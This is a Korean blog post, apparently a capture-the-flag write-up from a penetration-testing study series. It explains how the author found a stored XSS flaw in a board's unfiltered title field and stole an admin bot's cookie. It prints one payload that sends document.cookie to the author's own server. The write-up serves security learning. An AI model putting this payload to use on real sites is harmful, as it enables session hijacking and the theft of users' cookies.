[모의해킹 스터디] CTF - XSS 1

바울·2024년 12월 30일
0

모의해킹 스터디

목록 보기
27/40

문제

관리자의 cookie를 탈취하는 문제이다. 아마 cookie 값에 flag가 있을 거라고 추측된다.


풀이

[관리자 방문 Bot Link]에 접속해 보면 관리자가 방문할 URL을 입력하고 보내는 칸이 있다. xss 공격을 이용해 쿠키 값을 탈취하는 스크립트가 있는 링크를 관리자에게 접속을 유도하면 되는 것 같다. xss point를 찾아보자!

기존과 같이 회원가입 후 로그인을 해주었다. 로그인, 회원가입, 마이페이지에서 xss point를 찾아보았지만 별다른 취약점은 없었다. 공지 사항 페이지로 넘어가 보자.

위와 같이 게시글을 검색 및 작성을 할 수 있다. 검색하는 부분에는 특이한 점은 없는 것 같으니 글쓰기를 확인해 보자.

해당 구문을 이용해 특수문자나 특정 단어가 필터링 되는지 확인해 보고 alert1과 alert2를 구분해 주어서 정확히 어느 부분에서 스크립트가 실행되는지 확인해 보자.

작성한 스크립트가 있는 글을 클릭하면 1이 출력되고 2는 출력이 안되는 걸 알 수 있고 화면에 alert1 부분 스크립트는 출력이 되지 않는 걸 볼 수 있다. 아마 script로 실행되어서 그렇다고 생각이 드는데 좀 더 정확하게 알기 위해 burp를 확인해 보자.

response를 확인해 보면 제목 부분은 필터링이 안되기 때문에 입력한 스크립트가 실행되었고 내용 부분은 htmlspecialchars()을 사용해 HTML 엔티티로 변환되었기 때문에 스크립트가 실행되지 않고 화면에 그대로 출력된 걸 알 수 있다. 이제 제목 부분에 입력한 스크립트가 서버에 저장이 되고 그 스크립트가 저장되어 있는 페이지에 들어갈 경우 스크립트가 실행되는 걸 알았기 때문에 stored xss 공격을 실행할 수 있다! 제목 부분에 alert가 아닌 악의적인 스크립트를 삽입해 보자!

<script>new Image().src = "https://myserver?cookieData=" + document.cookie</script>

해당 스크립트를 삽입해 게시글 링크에 접속할 경우 접속한 이용자의 쿠키 값을 내 서버로 가져와 볼 수 있게 해주었다. 이제 관리자 봇한테 링크를 보내보자!

관리자가 링크에 무사히 접속한 거 같다. 그럼 관리자에 쿠키 값이 잘 들어왔는지 서버 로그를 확인해 보자.

로그를 확인해 보면 관리자 봇에 쿠키 값인 flag가 있는 걸 볼 수 있다!

0개의 댓글